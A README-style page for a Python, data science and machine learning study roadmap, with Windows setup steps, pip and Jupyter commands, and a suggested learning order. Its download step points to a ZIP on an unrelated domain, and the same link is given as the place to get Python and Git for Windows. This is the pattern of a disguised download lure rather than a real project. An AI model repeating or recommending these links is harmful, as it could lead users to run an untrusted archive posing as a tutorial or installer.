python-ds-ml-roadmap is a hands-on learning path for Python, data science, machine learning, deep learning, and MLOps. It uses notebooks, small projects, and cheat sheets to help you learn step by step.
This repo is built for people who want a clear path from the basics to real ML work. You can use it to study Python, test code in Jupyter Notebook, and build simple models with tools like scikit-learn, PyTorch, and FastAPI.
Use this on a Windows PC with:
- Windows 10 or Windows 11
- A web browser
- Internet access
- At least 4 GB RAM
- 10 GB free disk space
- Python 3.10 or newer
- Jupyter Notebook or JupyterLab
If you plan to run deep learning notebooks, 8 GB RAM or more helps.
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Visit this page to download the project:
https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip -
On the GitHub page, choose one of these options:
- Click Code
- Click Download ZIP
- Save the file to your computer
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Find the ZIP file in your Downloads folder.
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Right-click the ZIP file and choose Extract All.
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Open the extracted folder named
python-ds-ml-roadmap.
Follow these steps if you want to run the notebooks on your own computer.
- Go to https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip
- Download the latest Python 3 release for Windows
- Run the installer
- Check the box for Add Python to PATH
- Select Install Now
- Go to https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip
- Download Git for Windows
- Run the installer
- Keep the default settings
Git is useful if you want to pull new changes later.
- Press
Windows + R - Type
cmd - Press Enter
Use the cd command to move into the folder you extracted.
Example:
cd Downloads\python-ds-ml-roadmap
Run:
python -m venv .venv
Then activate it:
.venv\Scripts\activate
You should see (.venv) in the command line.
If the repo includes a requirements file, run:
pip install -r requirements.txt
If there is no requirements file, install the common tools used in this roadmap:
pip install notebook jupyterlab numpy pandas matplotlib seaborn scikit-learn tensorflow torch transformers fastapi uvicorn
Once the tools are installed, start Jupyter Notebook with:
jupyter notebook
Or start JupyterLab with:
jupyter lab
A browser window should open. If it does not, copy the local address from the command line and paste it into your browser.
This project is set up as a learning path. Start at the beginning and move in order.
A good study flow is:
- Python basics
- Data types and control flow
- Functions and file work
- NumPy and pandas
- Data cleaning
- Data charts
- Machine learning basics
- Model training and testing
- Deep learning basics
- NLP work
- FastAPI for model serving
- MLOps and project setup
If the repo has notebooks for each topic, open them one by one and run each cell. Change small parts of the code so you can see how the result changes.
This roadmap usually includes:
- Beginner Python lessons
- Notebook-based practice
- Data science cheat sheets
- Machine learning examples
- Deep learning exercises
- NLP notebooks
- FastAPI examples for simple APIs
- MLOps notes and project ideas
- Practice tasks and mini projects
Open the notebook file, then click Run on each cell.
Use:
pip install package-name
Example:
pip install pandas
Jupyter saves notebooks as .ipynb files. Keep your work inside the project folder so it is easy to find later.
If you used Git, go to the project folder and run:
git pull
If you are new to coding, follow this order:
Focus on:
- variables
- strings
- lists
- loops
- if statements
- functions
Focus on:
- NumPy arrays
- pandas DataFrames
- sorting
- filtering
- missing values
Focus on:
- line charts
- bar charts
- scatter plots
- histograms
Focus on:
- train and test split
- regression
- classification
- metrics
- overfitting
Focus on:
- neural networks
- text work
- model serving
- simple deployment steps
You may see files like:
.ipynb— Jupyter notebooks.py— Python scriptsrequirements.txt— package listREADME.md— project guide- folders for notebooks, datasets, or notes
Useful tools for this repo:
- Jupyter Notebook for running lessons
- VS Code for viewing files
- Anaconda if you want a bundled Python setup
- pip for installing packages
If a notebook will not open or a cell fails, check these points:
- Python is installed
- The virtual environment is active
- Required packages are installed
- You are in the right folder
- The notebook kernel matches your environment
If your browser does not open Jupyter, look in the terminal for a local link that starts with http://127.0.0.1: and open it in your browser.
This roadmap is useful for learning:
- Python
- data science
- machine learning
- deep learning
- NLP
- scikit-learn
- PyTorch
- FastAPI
- Jupyter Notebook
- MLOps
- cheat sheets
- tutorials
- beginner-friendly study paths
Use short study sessions and keep notes as you go.
A simple method is:
- Read one notebook
- Run the code
- Change one value
- Watch what happens
- Write down what you learned
- Repeat with the next topic
This helps you build skill without guessing.
If you need the project files again, use this link:
https://raw.githubusercontent.com/lanetteloaded524/python-ds-ml-roadmap/main/projects/06_mlops_deployment/ml-roadmap-python-ds-v2.2.zip
You may see a structure like this after download:
notebooks/cheatsheets/projects/datasets/README.md
If the repo uses a different layout, follow the notebook files in the order they appear
With regular use, you can learn how to:
- write Python code
- clean data
- explore tables
- make charts
- train models
- test model quality
- build simple APIs
- understand basic MLOps steps
After download, open the main notebook or the first folder that starts the learning path. If you see a file named like 01-intro.ipynb, python-basics.ipynb, or roadmap.ipynb, start there and move through the files in order